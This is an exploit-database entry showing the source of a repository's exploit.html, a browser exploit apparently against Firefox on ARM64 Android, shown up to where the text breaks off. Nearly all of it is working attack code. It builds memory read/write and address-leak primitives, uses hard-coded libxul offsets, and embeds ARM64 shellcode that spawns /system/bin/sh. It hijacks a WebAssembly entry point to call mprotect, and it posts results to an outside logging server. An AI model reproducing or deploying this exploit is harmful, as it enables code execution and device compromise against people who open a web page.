Exploit database

GH-542b23d2091b628cb0ddf12d02f0ac0e

pubglite55/findn2-ksu-chain

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

168 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

legacy-exploit-server/CVE-2026-10702/exploit.html

Suggested starting fileHTML · 34,563 bytes
<!doctype html>
<meta charset="utf-8">

<script>
const LOG_SERVER = "http://10.108.242.89:8081";
function uploadLog(line) {
  try {
    fetch(LOG_SERVER + "/log", {
      method: "POST",
      headers: {"Content-Type": "text/plain"},
      body: line,
      mode: "no-cors"
    }).catch(e => {});
  } catch(e) {}
}
function uploadLogBatch(lines) {
  try {
    fetch(LOG_SERVER + "/log", {
      method: "POST",
      headers: {"Content-Type": "text/plain"},
      body: lines.join("\n"),
      mode: "no-cors"
    }).catch(e => {});
  } catch(e) {}
}
</script>

<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>browser-only</title>
<script>
function safeToken(value) {
  return String(value || "").replace(/[^A-Za-z0-9_.:-]/g, "").slice(0, 64);
}

const queryParams = new URLSearchParams(location.search);
const RUN_TOKEN = safeToken(queryParams.get("run"));
const ATTEMPT_TOKEN = safeToken(queryParams.get("attempt"));
const PRIVATE_DIR = "/data/data/org.mozilla.firefox/files";

const SUPPORTED_DEVICE_IDS = [
  "OPPO/PGU110/OP55F1L1:16/BP2A.250605.015/T.38bf80f-14604cc-14d6f0f:user/release-keys",
  "dummy",
  "google/frankel/frankel:17/CP2A.260605.012/15430684:user/release-keys",
];
const NONSUPPORT = "arm";  // otherwise, fallback to reboot only

function shellQuote(value) {
  return "'" + String(value).replace(/'/g, "'\\''") + "'";
}

function deliverSuccess(lines, finalMessage) {
  const target = window.parent && window.parent !== window ? window.parent : null;
  if (target) {
    try {
      target.postMessage({
        type: "success",
        run: RUN_TOKEN,
        attempt: ATTEMPT_TOKEN,
        lines,
        finalMessage,
      }, "*");
    } catch (e) {
    }
  }
  // 上传到日志服务器
  if (lines && lines.length > 0) {
    uploadLogBatch(lines);
  }
  if (finalMessage) {
    uploadLog(finalMessage);
  }
}

function deliverProgress(lines, finalMessage) {
  const target = window.parent && window.parent !== window ? window.parent : null;
  if (target) {
    try {
      target.postMessage({
        type: "progress",
        run: RUN_TOKEN,
        attempt: ATTEMPT_TOKEN,
        lines,
        finalMessage,
      }, "*");
    } catch (e) {
    }
  }
  // 上传到日志服务器
  if (lines && lines.length > 0) {
    uploadLogBatch(lines);
  }
  if (finalMessage) {
    uploadLog(finalMessage);
  }
}

function deliverFailure() {
  const target = window.parent && window.parent !== window ? window.parent : null;
  if (!target) {
    return;
  }
  try {
      target.postMessage({
      type: "fail",
      run: RUN_TOKEN,
      attempt: ATTEMPT_TOKEN,
    }, "*");
  } catch (e) {
  }
}

function deliverStop() {
  const target = window.parent && window.parent !== window ? window.parent : null;
  if (!target) {
    return;
  }
  try {
      target.postMessage({
      type: "stop",
      run: RUN_TOKEN,
      attempt: ATTEMPT_TOKEN,
    }, "*");
  } catch (e) {
  }
}

function requestFingerprintDecision(deviceId, isSupported) {
  const target = window.parent && window.parent !== window ? window.parent : null;
  if (!target) {
    const ok = confirm(
      "Your device ID is: " + deviceId + "\n\n" +
      (isSupported ?
        "Your device is supported, but it may reboot. Continue?" :
        "Your device is not supported and will reboot. Continue?")
    );
    if (!ok) {
      return Promise.resolve(false);
    }
    return Promise.resolve(confirm("Are you sure? Save your work before clicking OK. Click Cancel to stop."));
  }
  return new Promise((resolve) => {
    function onMessage(event) {
      const data = event.data;
      if (!data ||
          data.type !== "decision" ||
          data.run !== RUN_TOKEN ||
          data.attempt !== ATTEMPT_TOKEN) {
        return;
      }
      removeEventListener("message", onMessage);
      resolve(data.ok === true);
    }
    addEventListener("message", onMessage);
    try {
      target.postMessage({
        type: "device",
        run: RUN_TOKEN,
        attempt: ATTEMPT_TOKEN,
        deviceId,
        isSupported,
      }, "*");
    } catch (e) {
      removeEventListener("message", onMessage);
      resolve(false);
    }
  });
}

function print(message) {
  void message;
}

function quit(code) {
  throw new Error("quit(" + code + ")");
}

const convBuf = new ArrayBuffer(8);
const convF64 = new Float64Array(convBuf);
const convU64 = new BigUint64Array(convBuf);

function f64FromBits(bits) {
  convU64[0] = bits;
  return convF64[0];
}

function bitsFromF64(num) {
  convF64[0] = num;
  return convU64[0];
}

function logInfo(message) {
  void message;
}

function logSuccess(message) {
  void message;
}

function logFail(message) {
  void message;
}

function logCheck(ok, success, failure) {
  void ok;
  void success;
  void failure;
}

function delay() {
  return new Promise((resolve) => setTimeout(resolve, 0));
}
async function yieldJit() {
  for (let i = 0; i < 8; i++) {
    await delay();
  }
}

const keep = [];
let carrier = null;

const CARRIER_FIELDS = [];
for (let i = 0; i < 256; i++) {
  CARRIER_FIELDS.push("cf_" + i);
}

const carrierFieldAtomizer = {};
for (let i = 0; i < CARRIER_FIELDS.length; i++) {
  carrierFieldAtomizer[CARRIER_FIELDS[i]] = i;
}
keep.push(carrierFieldAtomizer);

async function leakTypedWord(preProps, tag) {
  const BASE_PROPS = preProps - 2;
  const SHAPES = 4;
  const ITERS = 1700;

  const names = [];
  for (let i = 0; i < BASE_PROPS + SHAPES + 4; i++) {
    names.push("tw_" + tag + "_" + preProps + "_" + i);
  }

  const atomizer = {};
  for (let i = 0; i < names.length; i++) {
    atomizer[names[i]] = i;
  }
  keep.push(atomizer);

  function make(k, allocateAdjacent) {
    function g(a, b, c) {}
    for (let i = 0; i < BASE_PROPS + k; i++) {
      g[names[i]] = i;
    }
    g.p = 13;
    g.r = 37;
    if (allocateAdjacent) {
      const adjacent = new Uint8Array(0x100);
      keep.push(adjacent);
    }
    return g;
  }

  function makeNumberName(k) {
    const g = make(k, false);
    Object.defineProperty(g, "name", {
      value: 13.37,
      writable: true,
      configurable: true,
    });
    return g;
  }

  function leak(o) {
    const x = o.p;
    Object.keys(o);
    const y = o.name;
    return y + (x - 13);
  }

  for (let i = 0; i < ITERS; i++) {
    if ((i & 7) === 0) {
      leak(makeNumberName(i % SHAPES));
    } else {
      leak(make(i % SHAPES, false));
    }
  }

  await yieldJit();
  return bitsFromF64(leak(make(0, true)));
}

async function leakCarrierWord(preProps) {
  const BASE_PROPS = preProps - 2;
  const SHAPES = 4;
  const ITERS = 1700;

  const names = [];
  for (let i = 0; i < BASE_PROPS + SHAPES + 4; i++) {
    names.push("cw_" + preProps + "_" + i);
  }

  const atomizer = {};
  for (let i = 0; i < names.length; i++) {
    atomizer[names[i]] = i;
  }
  keep.push(atomizer);

  function allocCarrierForLeak() {
    const c = {};
    for (let i = 0; i < CARRIER_FIELDS.length; i++) {
      c[CARRIER_FIELDS[i]] = f64FromBits(0n);
    }
    carrier = c;
    keep.push(c);
  }

  function make(k, allocateAdjacent) {
    function g(a, b, c) {}
    for (let i = 0; i < BASE_PROPS + k; i++) {
      g[names[i]] = i;
    }
    g.p = 13;
    g.r = 37;
    if (allocateAdjacent) {
      allocCarrierForLeak();
    }
    return g;
  }

  function makeNumberName(k) {
    const g = make(k, false);
    Object.defineProperty(g, "name", {
      value: 13.37,
      writable: true,
      configurable: true,
    });
    return g;
  }

  function leak(o) {
    const x = o.p;
    Object.keys(o);
    const y = o.name;
    return y + (x - 13);
  }

  for (let i = 0; i < ITERS; i++) {
    if ((i & 7) === 0) {
      leak(makeNumberName(i % SHAPES));
    } else {
      leak(make(i % SHAPES, false));
    }
  }

  await yieldJit();
  return bitsFromF64(leak(make(0, true)));
}

function setCarrierWord(index, bits) {
  carrier[CARRIER_FIELDS[index]] = f64FromBits(bits);
}

function getCarrierWord(index) {
  return bitsFromF64(carrier[CARRIER_FIELDS[index]]);
}

let CARRIER_FIXED_SLOTS = 4;
let FORGE_READ_TARGET_INDEX = 15;
let STOP_STAGE = "";
try {
  const hash = location.hash.slice(1);
  if (hash.length > 0) {
    const hashParts = hash.split(",");
    const parsedFixedSlots = Number(hashParts[0]);
    if (Number.isInteger(parsedFixedSlots) && parsedFixedSlots >= 0) {
      CARRIER_FIXED_SLOTS = parsedFixedSlots;
    }
    const parsedReadIndex = Number(hashParts[1]);
    if (Number.isInteger(parsedReadIndex) && parsedReadIndex >= 0) {
      FORGE_READ_TARGET_INDEX = parsedReadIndex;
    }
    if (hashParts.length >= 3) {
      STOP_STAGE = hashParts[2];
    }
  }
} catch (e) {}

function setFakeWord(index, bits) {
  setCarrierWord(CARRIER_FIXED_SLOTS + index, bits);
}

function stopAt(stage) {
  if (STOP_STAGE === stage) {
    logSuccess("STOP_" + stage);
    return true;
  }
  return false;
}

function getFakeWord(index) {
  return getCarrierWord(CARRIER_FIXED_SLOTS + index);
}

function byteAt(addr, i) {
  return Number((addr >> (8n * BigInt(i))) & 0xffn);
}

function isLikelyUserPtr(addr) {
  return (
    typeof addr === "bigint" &&
    addr > 0x10000n &&
    (addr >> 48n) === 0n &&
    (addr & 0x7n) === 0n
  );
}

function requireUserPtr(addr, code) {
  if (!isLikelyUserPtr(addr)) {
    quit(code);
  }
  return addr;
}

function requireAlignedPtr(addr, mask, code) {
  if ((addr & mask) !== 0n) {
    quit(code);
  }
  return addr;
}

function requireLowBits(addr, mask, expected, code) {
  if ((addr & mask) !== expected) {
    quit(code);
  }
  return addr;
}

const FORGE_BASE_PROPS = 26;
const FORGE_SHAPES = 4;
const FORGE_ITERS = 20000;
let forgeFinalK = 2;
let forgeWriteFinalK = 2;
let forgeReadFinalK = 2;
let forgePrefix = "";
let forgeTargetSuffix = "";
let forgeTargetIndex = 15;
const FORGE_WRITE_TARGET_INDEX = 15;
let forgedObjectAddress = 0n;
const forgeTypedWarm = new Uint8Array(0x100);
keep.push(forgeTypedWarm);

function typedArrayStore(ta, value) {
  ta[0] = value;
}

function typedArrayLoad(ta) {
  return ta[0];
}

function setForgeTarget(addr) {
  forgePrefix = String.fromCharCode(
    byteAt(addr, 0),
    byteAt(addr, 1),
    byteAt(addr, 2),
    byteAt(addr, 3)
  );
  forgeTargetSuffix = String.fromCharCode(
    byteAt(addr, 4),
    byteAt(addr, 5),
    0xfe,
    0xff
  );
}

function forgeSuffix(i) {
  return i === forgeTargetIndex ? forgeTargetSuffix : "" + i;
}

function forgeMake(k) {
  function g(a, b, c) {}
  for (let i = 0; i < FORGE_BASE_PROPS + k; i++) {
    g[forgePrefix + forgeSuffix(i)] = i;
  }
  g.p = 13;
  g.r = 37;
  return g;
}

function forgeMakeObjectName(k) {
  const g = forgeMake(k);
  Object.defineProperty(g, "name", {
    value: {marker: 7},
    writable: true,
    configurable: true,
  });
  return g;
}

function forgeMakeTypedArrayName(k) {
  const g = forgeMake(k);
  Object.defineProperty(g, "name", {
    value: forgeTypedWarm,
    writable: true,
    configurable: true,
  });
  return g;
}

function forgeGet(o) {
  const x = o.p;
  Object.keys(o);
  const y = o.name;
  if (x === 0x1234) {
    return x;
  }
  return y;
}

function forgeWriteByte(o, value, doStore) {
  const x = o.p;
  Object.keys(o);
  const y = o.name;
  if (doStore) {
    typedArrayStore(y, value);
  }
  return x;
}

function forgeReadByteValue(o, doLoad) {
  const x = o.p;
  Object.keys(o);
  const y = o.name;
  if (doLoad) {
    return (typedArrayLoad(y) | 0) + (x - 13);
  }
  return x;
}

async function warmForge(addr) {
  setForgeTarget(addr);
  for (let i = 0; i < FORGE_ITERS; i++) {
    typedArrayStore(forgeTypedWarm, i & 0xff);
    typedArrayLoad(forgeTypedWarm);
    if ((i & 7) === 0) {
      forgeTargetIndex = FORGE_WRITE_TARGET_INDEX;
      const writeObj = forgeMakeTypedArrayName(i % FORGE_SHAPES);
      forgeGet(forgeMakeObjectName(i % FORGE_SHAPES));
      forgeWriteByte(writeObj, i & 0xff, true);

      forgeTargetIndex = FORGE_READ_TARGET_INDEX;
      const readObj = forgeMakeTypedArrayName(i % FORGE_SHAPES);
      forgeGet(forgeMakeObjectName(i % FORGE_SHAPES));
      forgeReadByteValue(readObj, true);
    } else {
      forgeTargetIndex = FORGE_WRITE_TARGET_INDEX;
      forgeWriteByte(forgeMake(i % FORGE_SHAPES), i & 0xff, false);

      forgeTargetIndex = FORGE_READ_TARGET_INDEX;
      forgeReadByteValue(forgeMake(i % FORGE_SHAPES), false);
    }
  }
  await yieldJit();
}

function makeFakeObjectValue(addr) {
  setForgeTarget(addr);
  return forgeGet(forgeMake(forgeFinalK));
}

function forgedWriteByte(addr, value) {
  setFakeWord(6, addr);
  setForgeTarget(forgedObjectAddress);
  forgeTargetIndex = FORGE_WRITE_TARGET_INDEX;
  return forgeWriteByte(forgeMake(forgeWriteFinalK), value & 0xff, true);
}

function forgedReadByte(addr) {
  setFakeWord(6, addr);
  setForgeTarget(forgedObjectAddress);
  forgeTargetIndex = FORGE_READ_TARGET_INDEX;
  return forgeReadByteValue(forgeMake(forgeReadFinalK), true) & 0xff;
}

async function main() {
  await leakTypedWord(29, "prime");
  const typedShape = await leakTypedWord(29, "shape");
  const typedEmptySlots = await leakTypedWord(30, "slots");
  const typedEmptyElements = typedEmptySlots - 0x188n;
  requireUserPtr(typedShape, 20);
  requireUserPtr(typedEmptySlots, 21);
  requireUserPtr(typedEmptyElements, 22);
  requireAlignedPtr(typedShape, 0xfn, 35);
  requireLowBits(typedEmptySlots, 0xfffn, 0x398n, 36);
  requireLowBits(typedEmptyElements, 0xfffn, 0x210n, 37);

  await leakCarrierWord(29);
  const carrierSlots = await leakCarrierWord(30);
  const fakeObject = carrierSlots;
  const writeTarget = carrierSlots + 8n * 8n;
  requireUserPtr(carrierSlots, 23);
  requireUserPtr(fakeObject, 24);
  requireUserPtr(writeTarget, 25);
  requireAlignedPtr(carrierSlots, 0xfn, 38);
  forgedObjectAddress = fakeObject;

  function installFakeTypedArrayLayout() {
    setFakeWord(0, typedShape);
    setFakeWord(1, typedEmptySlots);
    setFakeWord(2, typedEmptyElements);
    carrier[CARRIER_FIELDS[CARRIER_FIXED_SLOTS + 3]] = false;
    setFakeWord(4, 0x100n);
    setFakeWord(5, 0n);
    setFakeWord(6, writeTarget);
    setFakeWord(8, 0x42n);
  }

  logInfo("Setting up fake_obj...");
  installFakeTypedArrayLayout();
  await warmForge(fakeObject);
  installFakeTypedArrayLayout();

  let after = 0n;
  forgeWriteFinalK = 2;
  const writeProbeValue = 0x32;
  setFakeWord(8, 0xa0n);
  forgedWriteByte(writeTarget, writeProbeValue);
  after = getFakeWord(8);
  const foundWriteForgeK = after === BigInt(writeProbeValue) ? forgeWriteFinalK : -1;
  logCheck(foundWriteForgeK >= 0, "AAW_READY", "AAW_FAILED");
  if (foundWriteForgeK < 0) {
    quit(2);
  }
  if (stopAt("aaw")) {
    return;
  }

  let directRead = -1;
  forgeReadFinalK = 2;
  setFakeWord(8, 0x52n);
  directRead = forgedReadByte(writeTarget);
  const foundReadForgeK = directRead === 0x52 ? forgeReadFinalK : -1;
  logCheck(foundReadForgeK >= 0, "AAR_READY", "AAR_BYTE_FAILED");
  if (foundReadForgeK < 0) {
    quit(4);
  }
  if (stopAt("aar")) {
    return;
  }

  function setDataPointer(addr) {
    setFakeWord(6, addr);
  }

  function readByte(addr) {
    return forgedReadByte(addr);
  }

  function writeByte(addr, value) {
    forgedWriteByte(addr, value);
  }

  const real = new Uint8Array(0x100);
  keep.push(real);

  function read64(addr) {
    let result = 0n;
    for (let i = 0; i < 8; i++) {
      result |= BigInt(readByte(addr + BigInt(i))) << (8n * BigInt(i));
    }
    return result;
  }

  function write64(addr, value) {
    for (let i = 0; i < 8; i++) {
      writeByte(addr + BigInt(i), Number((value >> (8n * BigInt(i))) & 0xffn));
    }
  }

  const ADDROF_SLOT = 16;
  function addrof(obj) {
    carrier[CARRIER_FIELDS[CARRIER_FIXED_SLOTS + ADDROF_SLOT]] = obj;
    return read64(carrierSlots + 8n * BigInt(ADDROF_SLOT)) & 0xffffffffffffn;
  }

  const realAddr = addrof(real);
  requireUserPtr(realAddr, 26);
  const realShapeFromAar = read64(realAddr);
  const realData = read64(realAddr + 48n);
  requireUserPtr(realData, 27);
  logCheck(realShapeFromAar === typedShape, "ADDROF_READY", "ADDROF_AAR_FAILED");
  if (realShapeFromAar !== typedShape) {
    quit(5);
  }
  if (stopAt("addrof")) {
    return;
  }

  writeByte(realData + 7n, 0x5a);
  if (real[7] !== 0x5a) {
    quit(6);
  }

  const rwTarget = realData + 0x20n;
  write64(rwTarget, 0x1122334455667788n);
  const rwCheck = read64(rwTarget);
  if (rwCheck !== 0x1122334455667788n) {
    quit(7);
  }
  logSuccess("RW64_READY");
  if (stopAt("rw64")) {
    return;
  }

  // ARM64 Android offsets for Firefox 151.0 (libxul.so)
  const ARRAY_ISARRAY_NATIVE_OFF = 0x3075720n;
  const MPROTECT_GOT_OFF = 0x8f2a0b8n;
  const WASM_UNCHECKED_ENTRY_SLOT_OFFSET = 56n;

  const leakFunctionAddr = addrof(Array.isArray);
  requireUserPtr(leakFunctionAddr, 28);
  const leakFunctionNative = read64(leakFunctionAddr + 32n);
  const jsBase = leakFunctionNative - ARRAY_ISARRAY_NATIVE_OFF;
  requireUserPtr(leakFunctionNative, 29);
  requireUserPtr(jsBase, 30);
  requireAlignedPtr(leakFunctionNative, 0x3n, 41);
  requireLowBits(jsBase, 0xfffn, 0n, 42);
  const mprotectPtr = read64(jsBase + MPROTECT_GOT_OFF);
  requireUserPtr(mprotectPtr, 31);
  requireAlignedPtr(mprotectPtr, 0x3n, 43);
  if (stopAt("libxul")) {
    return;
  }

  const shellBuf = new Uint8Array(0x4000);
  const outputBuf = new Uint8Array(0x40000);
  keep.push(shellBuf);
  keep.push(outputBuf);
  const shellBufAddr = addrof(shellBuf);
  const outputBufAddr = addrof(outputBuf);
  requireUserPtr(shellBufAddr, 32);
  requireUserPtr(outputBufAddr, 48);
  const shellData = read64(shellBufAddr + 48n);
  const outputData = read64(outputBufAddr + 48n);
  const shellAddr = (shellData + 0xfffn) & ~0xfffn;
  requireUserPtr(shellData, 33);
  requireUserPtr(shellAddr, 34);
  requireUserPtr(outputData, 49);
  const shellOffset = Number(shellAddr - shellData);

  // ARM64 shellcode: pipe(), fork(), child execve("/system/bin/sh",[sh,-c,CMD]), parent reads stdout.
  const captureCodeBytes = [
    0xfd, 0x7b, 0xbf, 0xa9,  // stp x29, x30, [sp, #-16]!
    0xfd, 0x03, 0x00, 0x91,  // mov x29, sp
    0xf3, 0x53, 0xbf, 0xa9,  // stp x19, x20, [sp, #-16]!
    0xf5, 0x5b, 0xbf, 0xa9,  // stp x21, x22, [sp, #-16]!
    0xf7, 0x63, 0xbf, 0xa9,  // stp x23, x24, [sp, #-16]!
    0xff, 0x43, 0x00, 0xd1,  // sub sp, sp, #0x10
    0xf3, 0x03, 0x00, 0xaa,  // mov x19, x0
    0xf4, 0x03, 0x01, 0xaa,  // mov x20, x1
    0xe0, 0x03, 0x00, 0x91,  // mov x0, sp
    0xe1, 0x03, 0x1f, 0xaa,  // mov x1, xzr
    0x68, 0x07, 0x80, 0xd2,  // mov x8, #0x3b // #59
    0x01, 0x00, 0x00, 0xd4,  // svc #0x0
    0x1f, 0x00, 0x00, 0xf1,  // cmp x0, #0x0
    0x6b, 0x08, 0x00, 0x54,  // b.lt 140 <fail> // b.tstop
    0xf5, 0x03, 0x40, 0xb9,  // ldr w21, [sp]
    0xf6, 0x07, 0x40, 0xb9,  // ldr w22, [sp, #4]
    0x20, 0x02, 0x80, 0xd2,  // mov x0, #0x11 // #17
    0xe1, 0x03, 0x1f, 0xaa,  // mov x1, xzr
    0xe2, 0x03, 0x1f, 0xaa,  // mov x2, xzr
    0xe3, 0x03, 0x1f, 0xaa,  // mov x3, xzr
    0xe4, 0x03, 0x1f, 0xaa,  // mov x4, xzr
    0x88, 0x1b, 0x80, 0xd2,  // mov x8, #0xdc // #220
    0x01, 0x00, 0x00, 0xd4,  // svc #0x0
    0xe0, 0x03, 0x00, 0xb5,  // cbnz x0, d8 <parent>
    0xe0, 0x03, 0x15, 0x2a,  // mov w0, w21
    0x28, 0x07, 0x80, 0xd2,  // mov x8, #0x39 // #57
    0x01, 0x00, 0x00, 0xd4,  // svc #0x0
    0xe0, 0x03, 0x16, 0x2a,  // mov w0, w22
    0x21, 0x00, 0x80, 0xd2,  // mov x1, #0x1 // #1
    0xe2, 0x03, 0x1f, 0xaa,  // mov x2, xzr
    0x08, 0x03, 0x80, 0xd2,  // mov x8, #0x18 // #24
    0x01, 0x00, 0x00, 0xd4,  // svc #0x0
    0xe0, 0x03, 0x16, 0x2a,  // mov w0, w22
    0x41, 0x00, 0x80, 0xd2,  // mov x1, #0x2 // #2
    0xe2, 0x03, 0x1f, 0xaa,  // mov x2, xzr
    0x08, 0x03, 0x80, 0xd2,  // mov x8, #0x18 // #24
    0x01, 0x00, 0x00, 0xd4,  // svc #0x0
    0xe0, 0x03, 0x16, 0x2a,  // mov w0, w22
    0x28, 0x07, 0x80, 0xd2,  // mov x8, #0x39 // #57
    0x01, 0x00, 0x00, 0xd4,  // svc #0x0
    0xe0, 0x05, 0x00, 0x10,  // adr x0, 15c <sh_path>
    0xc3, 0x05, 0x00, 0x10,  // adr x3, 15c <sh_path>
    0x04, 0x06, 0x00, 0x70,  // adr x4, 16b <dash_c>
    0x05, 0x06, 0x00, 0x50,  // adr x5, 16e <cmd_str>
    0xff, 0x83, 0x00, 0xd1,  // sub sp, sp, #0x20
    0xe3, 0x13, 0x00, 0xa9,  // stp x3, x4, [sp]
    0xe5, 0x7f, 0x01, 0xa9,  // stp x5, xzr, [sp, #16]
    0xe1, 0x03, 0x00, 0x91,  // mov x1, sp
    0xe2, 0x03, 0x1f, 0xaa,  // mov x2, xzr
    0xa8, 0x1b, 0x80, 0xd2,  // mov x8, #0xdd // #221
    0x01, 0x00, 0x00, 0xd4,  // svc #0x0
    0x20, 0x00, 0x80, 0xd2,  // mov x0, #0x1 // #1
    0xa8, 0x0b, 0x80, 0xd2,  // mov x8, #0x5d // #93
    0x01, 0x00, 0x00, 0xd4,  // svc #0x0
    // parent:
    0xe0, 0x03, 0x16, 0x2a,  // mov w0, w22
    0x28, 0x07, 0x80, 0xd2,  // mov x8, #0x39 // #57
    0x01, 0x00, 0x00, 0xd4,  // svc #0x0
    0xf7, 0x03, 0x1f, 0xaa,  // mov x23, xzr
    0x9f, 0x06, 0x00, 0xf1,  // cmp x20, #0x1
    0xa9, 0x01, 0x00, 0x54,  // b.ls 120 <terminate> // b.plast
    0x98, 0x06, 0x00, 0xd1,  // sub x24, x20, #0x1
    // read_loop:
    0x78, 0x01, 0x00, 0xb4,  // cbz x24, 120 <terminate>
    0xe0, 0x03, 0x15, 0x2a,  // mov w0, w21
    0x61, 0x02, 0x17, 0x8b,  // add x1, x19, x23
    0xe2, 0x03, 0x18, 0xaa,  // mov x2, x24
    0xe8, 0x07, 0x80, 0xd2,  // mov x8, #0x3f // #63
    0x01, 0x00, 0x00, 0xd4,  // svc #0x0
    0x1f, 0x00, 0x00, 0xf1,  // cmp x0, #0x0
    0x8d, 0x00, 0x00, 0x54,  // b.le 120 <terminate>
    0xf7, 0x02, 0x00, 0x8b,  // add x23, x23, x0
    0x18, 0x03, 0x00, 0xcb,  // sub x24, x24, x0
    0xf6, 0xff, 0xff, 0x17,  // b f4 <read_loop>
    // terminate:
    0x74, 0x00, 0x00, 0xb4,  // cbz x20, 12c <close_read>
    0x63, 0x02, 0x17, 0x8b,  // add x3, x19, x23
    0x7f, 0x00, 0x00, 0x39,  // strb wzr, [x3]
    // close_read:
    0xe0, 0x03, 0x15, 0x2a,  // mov w0, w21
    0x28, 0x07, 0x80, 0xd2,  // mov x8, #0x39 // #57
    0x01, 0x00, 0x00, 0xd4,  // svc #0x0
    0xe0, 0x03, 0x17, 0xaa,  // mov x0, x23
    0x02, 0x00, 0x00, 0x14,  // b 144 <done>
    // fail:
    0xe0, 0x03, 0x1f, 0xaa,  // mov x0, xzr
    // done:
    0xff, 0x43, 0x00, 0x91,  // add sp, sp, #0x10
    0xf7, 0x63, 0xc1, 0xa8,  // ldp x23, x24, [sp], #16
    0xf5, 0x5b, 0xc1, 0xa8,  // ldp x21, x22, [sp], #16
    0xf3, 0x53, 0xc1, 0xa8,  // ldp x19, x20, [sp], #16
    0xfd, 0x7b, 0xc1, 0xa8,  // ldp x29, x30, [sp], #16
    0xc0, 0x03, 0x5f, 0xd6,  // ret
    0x2f, 0x73, 0x79, 0x73,  // "/sys"
    0x74, 0x65, 0x6d, 0x2f,  // "tem/"
    0x62, 0x69, 0x6e, 0x2f,  // "bin/"
    0x73, 0x68, 0x00,        // "sh\0"
    0x2d, 0x63, 0x00,        // "-c\0"
  ];

  const spawnCodeBytes = [
    0xfd, 0x7b, 0xbf, 0xa9,  // stp  x29, x30, [sp, #-16]!
    0xfd, 0x03, 0x00, 0x91,  // mov  x29, sp
    0x20, 0x02, 0x80, 0xd2,  // mov  x0, #17            (SIGCHLD)
    0xe1, 0x03, 0x1f, 0xaa,  // mov  x1, xzr
    0xe2, 0x03, 0x1f, 0xaa,  // mov  x2, xzr
    0xe3, 0x03, 0x1f, 0xaa,  // mov  x3, xzr
    0xe4, 0x03, 0x1f, 0xaa,  // mov  x4, xzr
    0x88, 0x1b, 0x80, 0xd2,  // mov  x8, #220           (__NR_clone)
    0x01, 0x00, 0x00, 0xd4,  // svc  #0
    0xe0, 0x01, 0x00, 0xb5,  // cbnz x0, parent
    0x20, 0x02, 0x00, 0x10,  // adr  x0, sh_path
    0x03, 0x02, 0x00, 0x10,  // adr  x3, sh_path
    0x44, 0x02, 0x00, 0x70,  // adr  x4, dash_c
    0x45, 0x02, 0x00, 0x50,  // adr  x5, cmd_str
    0xff, 0x83, 0x00, 0xd1,  // sub  sp, sp, #32
    0xe3, 0x13, 0x00, 0xa9,  // stp  x3, x4, [sp]
    0xe5, 0x7f, 0x01, 0xa9,  // stp  x5, xzr, [sp, #16]
    0xe1, 0x03, 0x00, 0x91,  // mov  x1, sp
    0xe2, 0x03, 0x1f, 0xaa,  // mov  x2, xzr
    0xa8, 0x1b, 0x80, 0xd2,  // mov  x8, #221           (__NR_execve)
    0x01, 0x00, 0x00, 0xd4,  // svc  #0
    0x20, 0x00, 0x80, 0xd2,  // mov  x0, #1
    0xa8, 0x0b, 0x80, 0xd2,  // mov  x8, #93            (__NR_exit)
    0x01, 0x00, 0x00, 0xd4,  // svc  #0
    // parent:
    0xfd, 0x7b, 0xc1, 0xa8,  // ldp  x29, x30, [sp], #16
    0x1f, 0x20, 0x03, 0xd5,  // nop                     (preserve clone return)
    0xc0, 0x03, 0x5f, 0xd6,  // ret
    0x2f, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x2d, 0x63, 0x00, // "/system/bin/sh\0-c\0"
  ];

  let cmdPos = 0;
  let maxCmdLength = 0;

  function installShellcode(bytes) {
    cmdPos = shellOffset + bytes.length;
    maxCmdLength = shellBuf.length - cmdPos - 1;
    if (shellOffset < 0 || maxCmdLength <= 0) {
      quit(44);
    }
    for (let i = 0; i < bytes.length; i++) {
      shellBuf[shellOffset + i] = bytes[i];
    }
  }

  installShellcode(captureCodeBytes);

  function writeShellCommand(command) {
    const cmdStr = String(command);
    if (cmdStr.length > maxCmdLength) {
      quit(44);
    }
    for (let i = 0; i <= maxCmdLength; i++) {
      shellBuf[cmdPos + i] = 0;
    }
    for (let i = 0; i < cmdStr.length; i++) {
      shellBuf[cmdPos + i] = cmdStr.charCodeAt(i) & 0xff;
    }
  }

  // WASM modules: f(i64, i64, i64) -> i32
  const wasmTargetBytes = new Uint8Array([
    0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
    0x01, 0x08, 0x01, 0x60, 0x03, 0x7e, 0x7e, 0x7e, 0x01, 0x7f,
    0x03, 0x02, 0x01, 0x00,
    0x07, 0x05, 0x01, 0x01, 0x66, 0x00, 0x00,
    0x0a, 0x06, 0x01, 0x04, 0x00, 0x41, 0x00, 0x0b,
  ]);

  const wasmCallerBytes = new Uint8Array([
    0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
    0x01, 0x08, 0x01, 0x60, 0x03, 0x7e, 0x7e, 0x7e, 0x01, 0x7f,
    0x02, 0x09, 0x01, 0x03, 0x65, 0x6e, 0x76, 0x01, 0x66, 0x00, 0x00,
    0x03, 0x02, 0x01, 0x00,
    0x07, 0x08, 0x01, 0x04, 0x63, 0x61, 0x6c, 0x6c, 0x00, 0x01,
    0x0a, 0x0c, 0x01, 0x0a, 0x00, 0x20, 0x00, 0x20, 0x01, 0x20, 0x02,
    0x10, 0x00, 0x0b,
  ]);

  function makeWasm(bytes, imports) {
    return new WebAssembly.Instance(new WebAssembly.Module(bytes), imports || {});
  }

  const wasmTarget = makeWasm(wasmTargetBytes);
  const wasmFunction = wasmTarget.exports.f;
  keep.push(wasmTarget, wasmFunction);

  const wasmFunctionAddr = addrof(wasmFunction);
  requireUserPtr(wasmFunctionAddr, 47);
  const originalUncheckedEntry =
    read64(wasmFunctionAddr + WASM_UNCHECKED_ENTRY_SLOT_OFFSET);
  requireUserPtr(originalUncheckedEntry, 45);
  requireAlignedPtr(originalUncheckedEntry, 0x3n, 46);

  function setWasmUncheckedEntry(ptr) {
    write64(wasmFunctionAddr + WASM_UNCHECKED_ENTRY_SLOT_OFFSET, ptr);
  }

  // Step 1: mprotect shellcode buffer as RWX
  setWasmUncheckedEntry(mprotectPtr);
  const mprotectCaller = makeWasm(wasmCallerBytes, {env: {f: wasmFunction}}).exports.call;
  const mprotectRet = mprotectCaller(shellAddr, 0x1000n, 7n);
  if (mprotectRet !== 0) {
    logFail("MPROTECT_FAILED");
    quit(1);
